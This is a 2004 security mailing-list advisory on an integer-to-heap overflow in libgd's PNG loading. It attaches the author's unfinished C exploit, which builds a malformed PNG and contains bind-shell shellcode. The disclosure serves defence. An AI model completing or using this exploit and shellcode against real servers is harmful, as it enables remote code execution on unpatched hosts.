Date: Mon, 25 Oct 2004 20:43:03 -0400
From: infamous41md@...pop.com
To: bugtraq <bugtraq@...urityfocus.com>
Subject: libgd integer overflow


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Subject:

GD Graphics Library integer overflow leading to heap overflow.

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Product Description:

An ANSI C library for the dynamic creation of images. GD creates PNG, JPEG and
GIF images, among other formats.  It is the library used by PHP to manipulate
images.

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Vulnerable:

Only the latest version was tested, gd-2.0.28.  I would venture a guess that old
versions are vulnerable as well, as I found no checking anywhere for the type of
bugs found.

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Summary:

There is an integer overflow when allocating memory in the routine that handles
loading PNG image files.  This later leads to heap data structures being
overwritten.  If an attacker tricked a user into loading a malicious PNG image,
they could leverage this into executing arbitrary code in the context of the
user opening image.  Many programs use GD, such as ImageMagick, and more
importantly it is also the image library used for PHP, and there is a Perl
module as well.  One possibile target would be PHP driven photo websites that
let users upload images.  Some of them will resize/compress the image when the
user uploads them.  If this is done using GD, this could be used to execute code
on the server.  There is a mitigating factor, in order to reach the vulnerable
code, a large amount of memory needs to be allocated.  My 128MB p2 crapped out
one allocation before it reached the overflow.  However, I think on a newer box
with lots of memory and swap space, that won't be a problem.

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Details:

The vulnerable code occurs in the file gd_png.c, in the function
gdImageCreateFromPngCtx(), which is called by gdImageCreateFromPng().  The
function is used to load an image file into GD data structures.  The problem
occurs when allocating memory for the image rows, line 314 or so ( I added some
comments so line number might be off).  Two user supplied values are multiplied
together (rowbytes * height), and used to allocate memory for an array of
pointers.  This pointer array is then passed to the png_read_image() function,
which belongs to the libPNG library.  In that function, the pointers are passed
to the png_read_row() function.  The data for the rows is decompressed using
zLib function inflate(), and then passed to the png_combine_row() function,
where the deflated data is memcpy()'d into the heap buffer.  Exploitation would
require using zLib functions to compress the payload.  Successful exploitation
would lead to executing arbitrary code.

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Vendor:

I spoke with author about a month ago, he told me that updates would be out
within a couple weeks.  I'm assuming they are.

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Exploit:

The start of my exploit is attached.  I didn't pursue further b/c my box sucks
ass, and doesn't have enough memory/swap.

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#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <zlib.h>

#define OUTFILE "britnay_spares_pr0n.png"
#define BS 0x1000
#define ALIGN 0

#define die(x) do{ perror((x)); exit(EXIT_FAILURE);}while(0)

/*
 * a chunk looks like:
 * [ 4 byte len ]   - just the length of data
 * [ 4 byte id  ]   - identifies chunk data type
 * [ 0+ data    ]   - 
 * [ 4 byte crc ]   - covers the id and data
 */

/* identifies a file as a png */
#define MAJIC_LEN sizeof(png_majic)
u_char png_majic[] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a };

/* png id fields */
#define ID_LEN sizeof(png_ihdr_id)
u_char png_ihdr_id[] = { 73, 72, 68, 82 };
u_char png_idat_id[] = { 73, 68, 65, 84 };
u_char png_iend_id[] = { 73, 69, 78, 68 };


/*
 * the iHDR chunk.  image information.
 */
#define IHDR_LEN sizeof(png_ihdr)
struct _png_ihdr {
    uint32_t    len,
                id,
                width,
                height;
    uint8_t     bit_depth,
                color_type,
                compress_meth,
                filter_meth,
                interlace_meth;
    uint32_t    crc;
} __attribute__((packed));
typedef struct _png_ihdr png_ihdr;


/*
 * the iDAT chunk. the compressed data of image.
 */
#define IDAT_LEN sizeof(png_idat)
#define IDAT_DATA_SZ 512
struct _png_idat {
    uint32_t    len,
                id;
    u_char      data[IDAT_DATA_SZ];
    uint32_t    crc;
} __attribute__((packed));
typedef struct _png_idat png_idat;


/*
 * the iEND chunk. contains no data.
 */
#define IEND_LEN sizeof(png_iend)
struct _png_iend {
    uint32_t    len,
                id,
                crc;
} __attribute__((packed));
typedef struct _png_iend png_iend;


/* call them shell code */
#define SHELL_LEN strlen(sc)
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";



int main(int argc, char **argv)
{
    int fd = 0, len = 0;
    char    *filename = OUTFILE;
    u_char  buf[BS] = { 0, };
    u_long  retaddr = 0;
    png_ihdr    ihdr;
    png_idat    idat;
    png_iend    iend;

#if 0
    if(argc < 2){
        fprintf(stderr, "Usage: %s < retaddr > [ outfile ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(argc > 2)
        filename = argv[2];
    sscanf(argv[1], "%lx", &retaddr);
#endif

#define PNG_USER_WIDTH_MAX 1000000L /* 0xf4240 */
    /*
     * setup png headers
     */
    size_t  a,b;
    ihdr.len = htonl(0xd);
    memcpy(&ihdr.id, png_ihdr_id, ID_LEN);
    /*
     * need to play with width and height, and also with color_type. depending
     * on color_type value, rowbytes can be manipulated
     */
    a = ihdr.width = htonl(0x8000);
    b = ihdr.height = htonl(0x10000);
    ihdr.bit_depth = 16;
    ihdr.color_type = 4;
    ihdr.compress_meth = 0x0;
    ihdr.filter_meth = 0x0;
    ihdr.interlace_meth = 0x0;
    ihdr.crc = htonl(crc32(0, (u_char *)&ihdr.id, 17));

    iend.len = 0x0;
    memcpy(&iend.id, png_iend_id, ID_LEN);
    iend.crc = htonl(crc32(0, (u_char *)&iend.id, 4));

    idat.len = htonl(IDAT_DATA_SZ);
    memcpy(&idat.id, png_idat_id, ID_LEN);
    memset(idat.data, 'A', IDAT_DATA_SZ);
    idat.crc = htonl(crc32(0, (u_char *)&idat.id, IDAT_DATA_SZ+4));
    
    /* 
     * create buffer:
     * png id - png ihdr - png idat - png iend
     */
    memcpy(buf, png_majic, MAJIC_LEN);
    len += MAJIC_LEN;
    memcpy(buf+len, &ihdr, IHDR_LEN);
    len += IHDR_LEN;
    memcpy(buf+len, &idat, IDAT_LEN);
    len += IDAT_LEN;
    memcpy(buf+len, &iend, IEND_LEN);
    len += IEND_LEN;

    /* create the file */
    if( (fd = open(filename, O_WRONLY|O_CREAT, 0666)) < 0)
        die("open");
    if(write(fd, buf, len) != len)
        die("write");
    close(fd);
    
    return 0;
}

-- 
-sean-- 
-sean

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